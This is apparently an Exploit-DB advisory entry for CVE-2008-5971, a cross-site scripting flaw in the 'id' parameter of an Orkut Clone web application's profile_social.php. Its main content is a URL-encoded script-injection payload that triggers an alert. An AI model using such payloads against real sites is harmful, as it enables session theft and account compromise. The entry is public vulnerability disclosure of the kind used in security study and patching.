Orkut Clone profile_social.php id Parameter XSS

2008-12-02T00:00:00
ID EDB-ID:32637
Type exploitdb
Reporter d3b4g
Modified 2008-12-02T00:00:00

Description

Orkut Clone profile_social.php id Parameter XSS. CVE-2008-5971 . Webapps exploit for php platform

                                        
                                            source: http://www.securityfocus.com/bid/32600/info
 
Orkut Clone is prone to an SQL-injection vulnerability and a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied data.
 
Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
 
http://www.example.com/profile_social.php?id=%3E%22%3E%3CScRiPt%20%0A%0D%3Ealert(0000)%3B%3C/ScRiPt%3E